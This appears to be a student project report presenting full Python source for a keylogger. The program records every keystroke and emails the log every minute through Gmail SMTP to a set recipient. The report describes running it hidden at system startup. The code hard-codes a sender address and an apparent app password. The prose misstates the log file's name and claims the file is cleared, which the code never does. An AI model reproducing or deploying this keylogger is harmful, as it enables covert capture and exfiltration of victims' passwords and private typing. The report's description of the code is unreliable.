

**IS Project Report**

**Project : Keylogger**

**Group Members :**

**BASIT (21SW005)**

**WASIM AKRAM (21SW025)**

**WASATULLAH JAMALI (21SW028)**

**DANISH (21SW136)**

**Keylogger Code :**

from pynput import keyboard

import smtplib , ssl ,time

sender\_mail = "waseemjanyaro@gmail.com"

receiver\_mail = "wasayojanyaro@gmail.com"

password = "kuht acaw yydy jkul"

port = 587

message = "The keys will be \n"

print('The program will start ')

def write(value):

    with open("audit.txt", 'a') as file:

        file.write(value)

def key\_press(key):

    try:

        if key == keyboard.Key.enter:

            write("\n")

        else:

            print(key.char)

            write(key.char)

    except AttributeError:

        if key == keyboard.Key.backspace:

            print('BACKSPACE PRESS')

            write("\nPress Backspace  \n")

        elif key == keyboard.Key.tab:

            print('TAB PRESS')

            write("\nPress Tab \n")

        elif key == keyboard.Key.space:

            print('SPACE')

            write(" ")

        else:

            temp = repr(key) + " Pressed.\n"

            write(temp)

            print("\n{} Pressed.\n".format(key))

listener = keyboard.Listener(on\_press=key\_press)

listener.start()

while True:

    time.sleep(60)

    with open("audit.txt", 'r') as file:

        temp = file.read()

        message += temp

    context = ssl.create\_default\_context()

    try:

        server = smtplib.SMTP("smtp.gmail.com", port)

        server.starttls(context=context)

        server.login(sender\_mail, password)

        server.sendmail(sender\_mail, receiver\_mail, message)

        print("Email sent to", receiver\_mail)

        message = "The keys will be \n"

        server.quit()

    except Exception as e:

        print("Error:", e)

        print("Failed to send email.")

**Summary :**

Our project is a keylogger. We have used scheduling to start the keylogger’s exe file as the computer starts. The keylogger is running in the background in hidden form ( It is not visible directly on the interface ). The keylogger stores the keys pressed and sends email time to time on the email address given by us.

**Project Components:**

**Keylogger Functionality:**

The keylogger captures keyboard events such as key presses.

It distinguishes between regular characters, special keys (like Enter, Backspace, Tab, and Space), and other keys.

Logged keystrokes are stored in a local text file named "KeyLoggerFile.txt".

**Email Reporting:**

Periodically, the keylogger reads the logged keystrokes from the file and prepares an email message.

It establishes a secure connection to the email server using TLS.

Authentication is performed using sender email credentials.

The email message is sent to the specified recipient email address.

After sending the email, the content of the log file is cleared for the next iteration.

**Implementation Approach:**

**Library Usage:**

The project utilizes the pynput library to capture keyboard events.

The smtplib library is used for sending emails.

**Event Handling:**

Keyboard events are handled using the Listener class provided by the pynput library.

Key press events are processed to log the corresponding keystrokes in the text file.

Special keys are appropriately identified and logged.

**Email Sending:**

Emails are sent using the SMTP protocol with TLS encryption.

Gmail's SMTP server (smtp.gmail.com) is used for sending emails.

Sender email credentials are required for authentication.

The logged keystrokes are included in the email message body.

**Conclusion :**

The project demonstrates the implementation of a keylogger with email reporting functionality using Python. It serves as a basic foundation for monitoring keyboard activity and can be further enhanced with additional features and improvements.